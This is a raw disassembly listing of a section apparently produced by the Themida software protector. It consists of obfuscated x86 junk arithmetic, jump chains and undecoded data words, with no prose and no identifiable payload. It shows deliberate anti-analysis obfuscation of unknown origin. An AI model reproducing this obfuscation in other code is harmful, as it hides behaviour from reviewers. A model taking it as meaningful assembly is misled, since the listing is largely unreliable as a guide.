0ABE9240Ch, 0BD000009h, 16576A7Ah dd 48B4ED81h, 0ECE94854h, 81000050h, 4C6h, 0ADE9E900h dd 0C781FFFFh, 4, 8704C783h, 535C243Ch, 0C381E389h, 4 dd 8904EC83h, 4BE2434h, 1000000h, 24348BF3h, 271EE9h, 6ABA5200h dd 0B8129319h, 670660BEh, 0D5AD031h, 1F5B1E2Ah, 96EBE956h dd 815AFFFFh, 4C2h, 2685000h, 58000000h, 18E9C201h, 5B000034h dd 68A368h, 241C8900h, 8E35FCBBh, 0BCB814Ch, 0F77D701Fh dd 0CC9EE9D3h, 0E180FFFFh, 0A79CE9A5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D002: ; CODE XREF: Themida_:00548C41j mov ebp, 2BBC0B7Eh neg ebp shl ebp, 8 and ebp, 0E3E5987h sub ebp, 585370C7h add eax, ebp pop ebp xor esi, eax pop eax mov ecx, esi mov esi, [esp] add esp, 4 and eax, ecx pop ecx jmp loc_547893 ; --------------------------------------------------------------------------- dw 0CD29h dd 31F8E9h, 5F00100h, 6FEE22C6h, 2BE565Eh, 5000000h, 6C143186h dd 862DF001h, 8B6C1431h, 0C4832434h, 24043304h, 33240431h dd 248B2404h, 0C8B6624h, 4EC8124h, 89000000h, 58542404h dd 405h, 6CA96800h, 34890000h, 214CBE24h, 0E6C1782Ah, 79F68104h dd 0F777CD52h, 79E681DEh, 81200810h, 103FEEh, 0F3BF5700h dd 1075550h, 243C8BF8h, 104C483h, 0F3BE56F0h, 2D075550h dd 4DED7EDFh, 0FFFA4CE9h, 58E788FFh, 0FD309CB5h, 0FFE61AE9h dd 72F181FFh, 0E9F9E6C8h, 2860h, 0DCED8145h, 1DC12F7h dd 242C8BEFh, 5757E9h, 79E30500h, 4EE90AD4h, 0BB000031h dd 3C728E2h, 2A14BF57h, 0FB092F21h, 2A35E95Fh, 0C890000h dd 0E9F9B524h, 0FFFFB01Eh, 5BDF3158h, 43ADF781h, 2CE98876h dd 8000000Dh, 0E950AFCDh, 3AD9h, 5B2434FFh, 0E904C483h dd 0FFFF93BFh ; --------------------------------------------------------------------------- loc_54D12C: ; CODE XREF: Themida_:0054F0E5j pop esi jmp loc_548343 ; --------------------------------------------------------------------------- loc_54D132: ; CODE XREF: Themida_:00547883j add eax, 8BBB8933h jmp loc_54D59D ; --------------------------------------------------------------------------- loc_54D13C: ; CODE XREF: Themida_:0054BE1Fj push 57C97129h pop edx push ecx mov ecx, 75420F4Fh jmp loc_55125B ; --------------------------------------------------------------------------- loc_54D14D: ; CODE XREF: Themida_:005521E5j sub ecx, 0D4945BC2h xor edx, ecx mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_549E42 ; --------------------------------------------------------------------------- loc_54D16F: ; CODE XREF: Themida_:0054AD33j shl ecx, 6 xor ecx, 88282704h add eax, 5B163630h add eax, ecx sub eax, 5B163630h pop ecx add eax, 4 jmp loc_54E7BC ; --------------------------------------------------------------------------- aFxcs db '╫ыfЕCИ',0 aT_0 db 'T',0 dd 14895C00h, 0E99C5024h, 0FFFF9347h, 0E2BB3BBh, 5BD88934h dd 0E959C831h, 2EF0h, 8933EA2Dh, 5D80150h, 508933EAh, 81241C8Bh dd 4C4h, 0C3315A00h, 0E930FF66h, 0FFFF9317h, 4FAC68h, 24148900h dd 66E6B151h, 30F7B450h, 0BD94E9E1h, 0BB53FFFFh, 4, 3111BE56h dd 0DEF751DAh, 0F7DE8746h, 81DE87D3h, 11283BE6h, 0C277E958h db 2 dup(0FFh) word_54D20A dw 77FFh ; DATA XREF: Themida_:00546284o dd 4A6BE91Ch db 2 dup(0) aM0Fsski db '╛0ьfSИkI',0 ; DATA XREF: Themida_:005462E8o align 4 dd 0FF92CAE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D221: ; CODE XREF: Themida_:0054664Fj push eax mov eax, 1 sub edi, eax mov eax, [esp] add esp, 4 push ecx push edi mov edi, 45A33A41h mov ecx, 0FB5628C4h jmp loc_546C82 ; --------------------------------------------------------------------------- loc_54D240: ; CODE XREF: Themida_:00552384j push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push 4139h mov [esp], ebx push eax mov eax, 2925256Ah mov ebx, eax pop eax add dword ptr [esp+4], 441E2776h sub dword ptr [esp+4], 1BDD2759h add [esp+4], ebx add dword ptr [esp+4], 1BDD2759h sub dword ptr [esp+4], 441E2776h mov ebx, [esp] push edx mov edx, esp jmp loc_54EC23 ; --------------------------------------------------------------------------- db 81h dd 4C1h, 240C3300h, 33240C31h, 248B240Ch, 0B2B7E924h, 6857FFFFh dd 4, 0F3ED815Fh, 16BD245h, 0F3C581FDh, 8B6BD245h, 9CE9243Ch dd 0BB000000h, 4, 0FFDE4DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D2D1: ; CODE XREF: Themida_:005497ECj add dword ptr [esp], 7EA01494h pop eax jmp loc_54E6E3 ; --------------------------------------------------------------------------- word_54D2DE dw 31ADh ; DATA XREF: Themida_:00546374o dd 0E08950D8h, 405h, 42D00h, 0A8E90000h db 0B5h, 2 dup(0FFh) byte_54D2F3 db 0ADh ; DATA XREF: Themida_:00546344o dd 81E78957h, 4C7h, 0B836E900h, 3433FFFFh, 24248B24h, 592434FFh dd 81E18951h, 4C1h, 5A36800h, 14890000h, 47B2BA24h, 0C2833CC9h dd 68E281FFh, 8112C606h, 0F31243C2h, 8ABE5631h, 8113517Dh dd 6D1A75C6h, 0E9D6F77Dh, 2965h, 0FF91A2E9h, 24248BFFh dd 4BB0F66h, 43E99C24h, 83FFFFC4h, 48F04C4h, 66E95C24h dd 8100002Ah, 4C4h, 98B95100h, 0F70EBE69h, 0C4EDE9D9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D376: ; CODE XREF: Themida_:0054B851j pop eax mov eax, ebp pop ebp xor [esp+4], eax mov eax, [esp] jmp loc_546F8B ; --------------------------------------------------------------------------- loc_54D386: ; CODE XREF: Themida_:0054AE3Ej sub ecx, 2B1852F5h sub ecx, 933D0688h add edi, 3DD8336Ah add edi, ecx sub edi, 3DD8336Ah pop ecx push dword ptr [esp] pop ecx jmp loc_551666 ; --------------------------------------------------------------------------- loc_54D3AA: ; CODE XREF: Themida_:00550790j add edi, edx pop edx push ebx jmp loc_550721 ; --------------------------------------------------------------------------- loc_54D3B3: ; CODE XREF: Themida_:00549A8Cj mov edi, 1Ch mov edx, edi pop edi add edx, 2A8D2851h sub edx, 46482254h add edx, edi add edx, 46482254h sub edx, 2A8D2851h push dword ptr [edx] sub dword ptr [esp], 3D761BBAh jmp loc_54BE9C ; --------------------------------------------------------------------------- db 59h dd 0D000AB04h, 148BAB2Ch, 4C48124h, 0E9000000h, 0FFFF915Ch dd 4244429h, 0ADE95858h db 0EFh, 2 dup(0FFh) byte_54D403 db 0FFh ; DATA XREF: Themida_:005463E0o dd 34FF2434h, 89505924h, 405E0h, 0E9520000h, 0FFFFDA9Fh ; --------------------------------------------------------------------------- loc_54D418: ; CODE XREF: Themida_:0054A77Cj mov edi, [esp] add esp, 4 sub edi, 0FFD9FD63h jmp loc_54DD51 ; --------------------------------------------------------------------------- loc_54D429: ; CODE XREF: Themida_:0054CF2Bj pop ebx sub ebx, 7651599Ch pop esi jmp loc_54C655 ; --------------------------------------------------------------------------- dw 0FD88h dd 44FBE95Bh, 0EA810000h, 16DD22B2h, 2414875Eh, 0E924248Bh dd 0FFFFBE41h, 6D8A6866h, 24148966h, 0E99C5066h, 0FFFF908Bh ; --------------------------------------------------------------------------- loc_54D460: ; CODE XREF: Themida_:0054EC2Cj add edx, 4 jmp loc_5498AB ; --------------------------------------------------------------------------- db 81h dd 0FFFFFFC6h, 56EE81FFh, 0E9EBDCF0h, 0E59h, 0B60F66h dd 1FDC6866h, 24048966h, 0FF905EE9h, 39C680FFh, 8B66F030h dd 4AE92414h db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D49B: ; CODE XREF: Themida_:0054B6F8j and [edi+1Ch], eax push dword ptr [esp] jmp loc_54D9C4 ; --------------------------------------------------------------------------- loc_54D4A6: ; CODE XREF: Themida_:0054E002j mov esi, ebx pop ebx shl esi, 1 shr esi, 8 xor esi, 2CDFD2BAh add ebx, esi pop esi sub ebx, esi sub ebx, 2CC908EEh pop esi pop dword ptr [eax] jmp loc_5464EB ; --------------------------------------------------------------------------- db 2Dh dd 0C7CAD6D3h, 8158C131h, 989FA0C1h, 59CE2103h, 8EC6814Eh dd 0E9629579h, 0FFFFC236h, 0BB53E689h, 677A6A85h, 6A81EB81h dd 2E9677Ah, 5F000032h, 7CE1BF57h, 22E96217h, 8100004Ch dd 842B88C7h, 0CBF7811Ch, 296CE027h, 0F3815FFBh, 32E85214h dd 34FFD831h, 89565B24h, 3EEAE9E6h, 0C890000h, 720AB924h dd 0E9830BE7h, 6E1C101h, 62D0C181h, 0C1811BABh, 1FA54E72h dd 1AE98149h, 0E92289BCh, 13BAh dword_54D54C dd 24048B66h, 52E68956h, 9D59B8BAh, 8E2C113h, 5102EAC1h ; DATA XREF: Themida_:005462E0o dd 0FA06C6B9h, 7E9C137h, 91D0F791h, 0FFFFE981h, 75E9FFFFh dd 0BFFFFFF2h, 4, 0E95FF801h, 0FFFFAB73h, 0C8BC828h, 4C48124h dd 80000000h, 39E982EBh, 55FFFFE5h, 4F75E9h db 0 ; --------------------------------------------------------------------------- loc_54D59D: ; CODE XREF: Themida_:0054D137j add esi, eax pop eax and eax, esi mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp or eax, eax jmp loc_546C89 ; --------------------------------------------------------------------------- dd 4C481h, 0C4830000h, 19326804h, 0DAE90000h, 8900002Dh dd 7FE9242Ch, 5FFFFE1h, 4, 3302C083h, 8CE92404h, 0FFFFFFBDh dd 79E92434h, 0FF000026h, 0A1E92434h, 89FFFF8Fh, 0E2B951E0h dd 815AA760h, 589F22C1h, 235005A5h, 0C80144ECh, 2350BE56h dd 0F02944ECh, 0FFF7EBE9h, 81EE01FFh, 9084FEEh, 0C7EE814Eh dd 5D564C69h, 515EF031h, 0FFE632E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D631: ; CODE XREF: Themida_:0054A8A1j pop dword ptr [esp] jmp loc_5484A5 ; --------------------------------------------------------------------------- loc_54D639: ; CODE XREF: Themida_:00548E34j mov eax, 11391725h sub eax, 11391721h mov ebx, eax pop eax jmp loc_548C8B ; --------------------------------------------------------------------------- db 89h dd 2BB241Ch, 0E9000000h, 212Fh, 0E9ECC580h, 28D9h, 83E9FA30h db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D667: ; CODE XREF: Themida_:0054E814j pop edx neg ebx shr ebx, 7 sub ebx, 8808FBC4h jmp loc_5495E0 ; --------------------------------------------------------------------------- dd 6A5868h, 24348900h, 42474FFh, 1793E9h, 6D7BF00h, 0C4E936FAh db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D693: ; CODE XREF: Themida_:00549D1Fj add ecx, edi xor edx, [ecx] pop ecx push eax push edi push 1BC63816h pop edi and edi, 42120526h jmp loc_54790E ; --------------------------------------------------------------------------- loc_54D6AB: ; CODE XREF: Themida_:0054D9D1j pop eax pop ebx xor eax, esi jmp loc_54FCA3 ; --------------------------------------------------------------------------- dd 81664966h, 663E6FF1h, 0BE7FF181h, 59C80166h, 2EEE8166h dd 0C629664Ah, 2EC68166h, 2966584Ah, 0F4D3E9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D6DA: ; CODE XREF: Themida_:00548A90j mov ebp, 71611F01h sub ebp, 637408A3h neg ebp and ebp, 23C03E02h add ebp, 0DDFFD802h add eax, ebp pop ebp push eax push dword ptr [esp+4] mov eax, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_551118 ; --------------------------------------------------------------------------- dd 0D3F7935Fh, 20E1E993h, 17BE0000h, 0E904DF7Ch, 0FFFF9BDAh dd 3ACBC381h, 0EB815D1Dh, 14530322h, 6AF5C381h, 0C3016B06h dd 40A8E9h, 51F68100h, 0E9FF3F1Ch, 0C0Dh, 0E924248Bh, 0FFFF8D9Fh dd 68665E66h, 89662C9Fh, 6866241Ch, 8B661561h, 0E955241Ch dd 0FFFFCDBAh dword_54D764 dd 957CE9ADh ; DATA XREF: Themida_:00546224o db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D76A: ; CODE XREF: Themida_:0054F036j add ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_54F4BF ; --------------------------------------------------------------------------- loc_54D778: ; CODE XREF: Themida_:0054675Ej push ebx mov ebx, 785C23D2h add ebx, 23F73F31h xor ebx, 78CD5423h jmp loc_54E642 ; --------------------------------------------------------------------------- db 5Bh dd 0EDDEC581h, 0EA890E52h, 8BD6895Dh, 0C4812414h, 4, 0CE9E6D1h dd 81000013h, 5A6E87F6h, 9C49E93Fh, 30E9FFFFh, 0B1FFFF8Dh dd 66CB0087h, 0AC9FE959h, 815AFFFFh, 0AB06C7F5h, 5BC58137h dd 81D79BE7h, 0D76453C6h, 81EE0116h, 0D76453EEh, 34875D16h dd 0E3685C24h, 89000053h, 89532434h, 0E9DE89FBh, 0FFFFAFFBh dd 2BC7F681h, 0F6816F17h, 0B5CE90B6h, 0BB53D6F7h, 6E4C6512h dd 0DCEC381h, 51E92F90h, 83FFFFD2h, 348904ECh, 44E1BE24h dd 814625FBh, 0CB2820F6h, 0B3E68112h, 46072331h, 467FE681h dd 0BB5353F4h, 4F4F1A1Fh, 315BDE01h, 0B70FE9F5h db 2 dup(0FFh) word_54D846 dw 8B66h ; DATA XREF: Themida_:005462E4o dd 0FE68240Ch, 0E9000006h, 0FFFFE663h dword_54D854 dd 582434FFh, 348B5456h, 4C48324h, 17F1E950h, 0E95F0000h ; DATA XREF: Themida_:0054629Co dd 182h ; --------------------------------------------------------------------------- loc_54D86C: ; CODE XREF: Themida_:0054E4CAj mov edi, [esp] add esp, 4 mov esi, ebp mov ebp, [esp] add esp, 4 push edi push esi sub dword ptr [esp], 212C6CBBh pop edi add edi, 212C6CBBh mov eax, edi pop edi pop esi push 0F32h mov [esp], esi mov esi, 6F73C9h shr esi, 6 jmp loc_550A15 ; --------------------------------------------------------------------------- loc_54D8A6: ; CODE XREF: Themida_:00549E4Bj mov esi, 64AE1514h add edx, 5DDC4AE0h sub edx, esi sub edx, 5DDC4AE0h pop esi push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edx pop dword ptr [edi+20h] pop edx jmp loc_54E263 ; --------------------------------------------------------------------------- db 1, 0CEh, 59h dd 0FF947CE9h, 243431FFh, 5C243433h, 0E9F9F766h, 0FFFFB9AEh dd 0E959CE09h, 0FFFFA0DAh ; --------------------------------------------------------------------------- loc_54D8F8: ; CODE XREF: Themida_:0054BEC2j push esp pop eax jmp loc_54AD20 ; --------------------------------------------------------------------------- loc_54D8FF: ; CODE XREF: Themida_:00548C2Ej sub edx, 0F1F5C4E9h mov eax, edx pop edx push 0 sub [esp], eax pop eax jmp loc_54F854 ; --------------------------------------------------------------------------- dw 2BB9h dd 81362B3Ch, 0A2425CC9h, 6B68416Bh, 89000006h, 0C4BE2434h dd 4E0D3C0Fh, 1086E681h, 0E6C17DD1h, 0E122E904h, 0D989FFFFh dd 59CA295Bh, 278DE9h, 4B95100h, 1000000h, 240C8BCEh, 2FE6E9h dd 37F48000h, 0FFE9B5E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D961: ; CODE XREF: Themida_:0054AB8Fj add [esp+8], eax jmp loc_551244 ; --------------------------------------------------------------------------- loc_54D96A: ; CODE XREF: Themida_:0054F396j pop eax xor ebp, esi jmp loc_549A26 ; --------------------------------------------------------------------------- dw 15Fh dd 18E95EF1h, 0BAFFFFF9h, 355E0969h, 8105EAC1h, 0AF4D47CAh dd 37EA8124h, 56709D38h, 8C0D8BBEh, 5EF22910h, 4877BD55h dd 0EA015B79h, 0FFB3F6E9h, 4EC83FFh, 0B8240489h, 662E2AADh dd 4799E9h, 0DEDCB900h, 0D901FEC6h, 0E9D9F75Bh, 0FFFFD0FAh ; --------------------------------------------------------------------------- loc_54D9C4: ; CODE XREF: Themida_:0054D4A1j mov eax, [esp] jmp loc_55119F ; --------------------------------------------------------------------------- loc_54D9CC: ; CODE XREF: Themida_:005504A6j mov edi, eax mov esi, edi pop edi jmp loc_54D6AB ; --------------------------------------------------------------------------- loc_54D9D6: ; CODE XREF: Themida_:005495EAj mov esi, 0FFFFFFFFh add edx, esi mov esi, [esp] add esp, 4 jmp loc_546729 ; --------------------------------------------------------------------------- dd 538E958h, 0B9510000h, 32617053h, 7E9C141h, 77C181h dd 0C1413AA5h, 0F18102E9h, 0EC270D2h, 4772E9h db 0 ; --------------------------------------------------------------------------- loc_54DA0D: ; CODE XREF: Themida_:00550755j add edi, ebx pop ebx jmp loc_551B70 ; --------------------------------------------------------------------------- db 53h, 50h, 0B8h dd 2D0A4E00h, 56585B50h, 0A737BCBEh, 5EF33152h, 1EB81h dd 0BD550000h, 65011410h, 815DEB21h, 1100EEBh, 5BDD0165h dd 7EDE68h, 242C8900h, 42474FFh, 24048F5Dh, 6624248Bh dd 8324048Bh, 3C8904ECh, 4EC8324h, 81242489h, 42404h, 3C8B0000h dd 4C48324h, 4C781h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54A7D5 ; --------------------------------------------------------------------------- loc_54DA7E: ; CODE XREF: Themida_:005486A9j xor eax, 30916D4h add ebx, eax pop eax jmp loc_54B50D ; --------------------------------------------------------------------------- loc_54DA8B: ; CODE XREF: Themida_:00548B68j or eax, 2D282048h or eax, 65C42994h shr eax, 1 push ecx jmp loc_54F6D5 ; --------------------------------------------------------------------------- db 0F7h, 0D7h, 0E9h dd 31BDh ; --------------------------------------------------------------------------- loc_54DAA4: ; CODE XREF: Themida_:00547789j sub ecx, 1415FBE4h jmp loc_5520B2 ; --------------------------------------------------------------------------- loc_54DAAF: ; CODE XREF: Themida_:0054A8B8j push edx mov edx, esp jmp loc_548504 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF8A2Fh, 0B951E829h, 2DA63134h, 0F707E9C1h, 0E9E1D1D9h dd 0FFFFC2B2h dword_54DAD0 dd 24048B66h, 4EC8156h, 89000000h, 4812424h, 424h, 2434FF00h ; DATA XREF: Themida_:005463E8o dd 0E924348Bh, 0EE6h, 4BE56h, 0F7010000h, 60BE565Eh, 0C13BBF56h dd 0D6F704E6h, 2E25E9h db 0 ; --------------------------------------------------------------------------- loc_54DB09: ; CODE XREF: Themida_:00548EACj pop ebx push ebp mov ebp, 4 add ebx, ebp mov ebp, [esp] jmp loc_55167A ; --------------------------------------------------------------------------- dw 0B151h dd 7E1C020h, 0C003E1C0h, 23E903E9h, 58FFFFB1h, 0BD2E9h db 0 byte_54DB31 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00546464o dd 0E7895724h, 0C3BF5753h, 0E90F2057h, 37B3h, 651EEB81h dd 20E927A6h, 89FFFFE5h, 4C781E7h, 0E9000000h, 0FFFFB3A3h ; --------------------------------------------------------------------------- loc_54DB5C: ; CODE XREF: Themida_:00546E98j mov esp, [esp] mul cl movzx cx, ah push ebx mov ebx, esp jmp loc_548B4C ; --------------------------------------------------------------------------- db 0C1h, 0E6h, 6 dd 0EEC1DEF7h, 4C68106h, 81FC1A37h, 86102DEDh, 81F5010Ch dd 86102DC5h, 2C875E0Ch, 4295C24h, 54E99C24h db 89h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DB97: ; CODE XREF: Themida_:00550FE5j add esp, 4 pop ebx push eax mov eax, 37897509h xor ebx, eax pop eax mov edi, [esp] add esp, 4 jmp loc_54F217 ; --------------------------------------------------------------------------- db 81h, 0F1h, 70h dd 89668A30h, 0BE959CBh db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54DBC3: ; CODE XREF: Themida_:0054A99Bj sub edx, 4A072EC8h sub edx, 51C02DAh add edx, ebx add edx, 51C02DAh add edx, 4A072EC8h mov ecx, [edx] push dword ptr [esp] mov edx, [esp] add esp, 4 push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] mov ebx, [esp] jmp loc_550871 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0B40E9h db 0 ; --------------------------------------------------------------------------- loc_54DC0D: ; CODE XREF: Themida_:0054E89Cj pop eax add ebx, ecx sub ebx, 11BA3B76h jmp loc_54A67E ; --------------------------------------------------------------------------- byte_54DC1B db 0FFh ; DATA XREF: Themida_:005463BCo dd 34FF2434h, 24148B24h, 43C3E9h, 0F9F58000h, 0E5C0D5F6h dd 3CC58002h, 0E95CEB80h, 3EEh, 1D7368h, 240C8900h, 0C5FED1B5h dd 32026866h, 24048966h, 53E9E5B0h, 0E9000002h, 0FFFF888Fh dd 4D5EF529h, 8104EDC1h, 0C1CB7BEDh, 0E9EE0101h, 0FFFFDA5Eh dd 0BA665266h, 0E9B949h, 56FFFFB1h, 0F35A8BEh, 0FFD6E91Ch dd 0BE56FFFFh, 3B00B14h, 0EC81DEF7h, 4, 0E9243C89h, 3AA2h ; --------------------------------------------------------------------------- loc_54DC9C: ; CODE XREF: Themida_:00546CA3j mov eax, 6AEB4031h xor edx, eax jmp loc_55152A ; --------------------------------------------------------------------------- loc_54DCA8: ; CODE XREF: Themida_:005489D0j mov esp, [esp] or eax, eax jnz loc_54867F push ebx push edi mov edi, 16101E76h push esi jmp loc_54CF1D ; --------------------------------------------------------------------------- loc_54DCC0: ; CODE XREF: Themida_:0054E925j add ebx, 4 add ebx, 4 jmp loc_548F75 ; --------------------------------------------------------------------------- db 83h, 0C3h, 4 dd 5C241C87h, 5C240487h, 240C8B66h, 4EC81h, 0C890000h dd 81E18924h, 4C1h, 4E98300h, 8B240C87h, 0C892424h, 0C8B5424h dd 4C48324h, 4A7BF57h, 0BE560670h, 0 dd 0F787FE29h, 55EF815Eh, 1F98FFBh, 0C1835FF9h, 240C3302h dd 33240C31h, 248B240Ch, 9CC13824h, 0FF87B6E9h, 24248BFFh dd 2489E9h db 0 ; --------------------------------------------------------------------------- loc_54DD3D: ; CODE XREF: Themida_:0054E608j mov ecx, esp jmp loc_54968B ; --------------------------------------------------------------------------- dd 4BEh, 5EF30100h, 0B72E9h db 0 ; --------------------------------------------------------------------------- loc_54DD51: ; CODE XREF: Themida_:0054D424j mov edx, edi pop edi jmp loc_5476EA ; --------------------------------------------------------------------------- db 1, 0C5h, 58h aZHT db '┤,$\h(t',0 dd 24148900h, 0F300B6B6h, 87EB805Ah, 0A0E9C328h db 13h, 2 dup(0) byte_54DD77 db 0FFh ; DATA XREF: Themida_:00546468o dd 38E94077h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DD7F: ; CODE XREF: Themida_:00549583j mov [esp], eax mov eax, 0DD05D9Dh inc eax shl eax, 8 not eax xor eax, 1EBC37E8h sub eax, 351E6618h push ebp mov ebp, 14E573D6h add esi, ebp jmp loc_54B97F ; --------------------------------------------------------------------------- loc_54DDA4: ; CODE XREF: Themida_:0054F9E5j pop ebx add esi, 6C6D31EAh jmp loc_54E035 ; --------------------------------------------------------------------------- dd 6624248Bh, 9C2424D3h, 0FF872EE9h, 7E8C1FFh, 508E0C1h dd 3BAA0985h, 740F8805h, 57532576h, 2B050F97h, 317391BFh dd 0A3E958C6h, 5000027h, 463431EDh, 0ED2DC801h, 59463431h dd 116768h, 24048900h, 42474FFh, 573E9h, 8BE98900h, 8950242Ch dd 405E0h, 4050000h, 87000000h, 5F5C2404h, 8108E1C1h, 0B37379E9h dd 8BC8316Dh, 0C483240Ch, 0EEC38104h, 812CFC01h, 78192AC3h dd 81C3013Ch, 78192AEBh, 4716683Ch, 2DE90000h, 57000022h dd 0FD7F16BFh, 91E5E958h, 875BFFFFh, 0D25C2404h, 0E99C243Ch dd 0FFFF868Fh, 8BFB2966h, 0C483243Ch, 0C3816604h, 0B70F2BBCh dd 0E78957C0h, 4C781h, 0EF810000h, 4, 0E9243C87h, 2373h dd 1CE9FE21h db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DE8B: ; CODE XREF: Themida_:0054905Dj xor eax, [esp] jmp loc_54ECA7 ; --------------------------------------------------------------------------- loc_54DE93: ; CODE XREF: Themida_:0054BDA0j add esi, 611A3C93h add esi, edi jmp loc_54E3CE ; --------------------------------------------------------------------------- dd 2474FF53h, 31B6E904h, 0C5280000h, 0FF8E4CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DEB1: ; CODE XREF: Themida_:005510D2j shr edx, 1 cmp eax, edx jmp loc_54BE18 ; --------------------------------------------------------------------------- dw 0C281h dd 79D73289h, 0E951FA01h, 0FFFFF037h, 83241489h, 348904ECh dd 2434FF24h, 0FFA978E9h, 2EC81FFh, 66000000h, 0B7241C89h dd 66F80027h, 468665Bh, 1C896634h, 66B9B724h, 4AEB652h dd 0E9F00057h, 0FFFFE877h, 1573A1BBh, 8BD9895Fh, 84E9241Ch dd 8900000Dh, 0A0E92434h, 8700003Dh, 248B2414h, 0C83B6624h dd 85C5E99Ch, 0FF57FFFFh, 5F042474h, 8B24048Fh, 76E92424h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DF37: ; CODE XREF: Themida_:0055017Bj mov [esp], esp add dword ptr [esp], 4 pop edx add edx, 4 sub edx, 4 push edx jmp loc_54846B ; --------------------------------------------------------------------------- dw 0CE29h dd 39B85059h, 81CABC08h, 4A3A99EEh, 81C6016Ch, 4A3A99C6h dd 0F089586Ch, 0A1C7815Eh, 1067B46h, 8FB850C7h, 351AB73Ah dd 1CCC7C2Eh, 45E9C729h, 0BB000025h, 4, 505BD889h, 0D46061B8h dd 0C742E94Bh, 0C483FFFFh, 0A48DE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DF9E: ; CODE XREF: Themida_:005518C2j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push dword ptr [esp] pop esi add esp, 4 sub esp, 4 jmp loc_54CE24 ; --------------------------------------------------------------------------- loc_54DFC2: ; CODE XREF: Themida_:00549C1Bj push ebp mov ebp, 3891727Ah and ebp, 74964373h shl ebp, 5 jmp loc_54EB4C ; --------------------------------------------------------------------------- dw 772Dh dd 0E969865Eh, 0FFFFD4C9h, 6C81C581h, 0EF897303h, 23C7815Dh dd 0E9B72394h, 0FFFFD6C9h ; --------------------------------------------------------------------------- loc_54DFF4: ; CODE XREF: Themida_:005486C4j mov ebx, [esp] add esp, 4 neg ebx sub ebx, 9A86A2E4h jmp loc_54D4A6 ; --------------------------------------------------------------------------- byte_54E007 db 66h ; DATA XREF: Themida_:0054622Co dd 50240C8Bh, 6E9E089h, 68000008h, 6282h, 52242C89h, 2391E955h dd 0C5830000h, 0B46E902h, 0EB000000h, 595CC380h, 0FFCCB0E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E035: ; CODE XREF: Themida_:0054DDABj or edi, esi pop esi jmp loc_549DEA ; --------------------------------------------------------------------------- db 89h, 0D3h, 5Ah dd 7F0568h, 241C8900h, 0FFCB11E9h, 685350FFh, 3F147FC2h dd 81241C8Bh, 4C4h, 2E3C100h, 2414F753h, 52E9505Bh, 51FFFF8Fh dd 0ED80F2B5h, 0E9C5FE79h, 0FFFFF09Fh, 0C381DBF7h, 0C53E7518h dd 0E95BDD89h, 0BA9h, 0F4E9E957h, 0EA81FFFFh, 2B5E600Bh dd 0AC81C281h, 0D589C258h, 0B905E95Ah db 2 dup(0FFh) word_54E0A2 dw 77FFh ; DATA XREF: Themida_:00546254o dd 58669D1Ch, 9C240418h, 0FF843AE9h, 81E189FFh, 4C1h, 4C18300h dd 2474FF51h, 48F5904h, 24248B24h, 0E924048Fh, 0FFFF9A4Ah dd 4C481h, 0C5800000h, 10C3800Ah, 5066EB00h, 0C32810B0h dd 3A4AE9h, 243C8B00h, 639568h, 240C8900h, 0C181E189h dd 4, 8704C183h, 555C240Ch, 0BE0A2EBDh, 0CC3CE96Ah db 2 dup(0FFh) word_54E10E dw 34FFh ; DATA XREF: Themida_:005462B4o dd 24048B24h, 5304C483h, 4FEE9h, 0C4815A00h, 4, 48BC131h dd 4C48124h, 1000000h, 0E779E9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E136: ; CODE XREF: Themida_:00551B14j mov esi, [esp] jmp loc_54E922 ; --------------------------------------------------------------------------- dw 0C581h dd 2, 36F868h, 242C8900h, 42474FFh, 24048F5Dh, 0BE0F665Ch dd 7E6866C8h, 0C896619h, 8385E924h, 0AB68FFFFh, 8900004Bh dd 89532434h, 4C381E3h, 0E9000000h, 472h, 53241489h, 0F380BDB3h dd 5BDE888Dh, 0E2B75366h, 0FFDD55E9h, 5EF021FFh, 5D0F748h dd 82880E33h, 34FFC729h, 0C4815824h, 4, 2D5FFE89h, 7A754E26h dd 2605F001h, 8B7A754Eh, 0C4832434h, 0F55EE904h, 0EB01FFFFh dd 0FF8EEAE9h, 8BEE29FFh, 56E9242Ch, 52FFFFC2h, 0CE78DCBAh dd 0C6C2817Ah, 10F0172h, 0C8015AD1h, 39685359h, 0E920706Eh dd 0FFFFD7FDh, 0A1F6E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E1F6: ; CODE XREF: Themida_:0054AE79j mov edi, 21062859h xor edi, 7A1A0C65h push eax mov eax, 6B9C2D5Ah or edi, eax pop eax add edi, 8463D286h add ebp, 22A504B8h add ebp, edi sub ebp, 22A504B8h pop edi add ebp, 4 xchg ebp, [esp] pop esp push eax push esp mov eax, [esp] push ecx 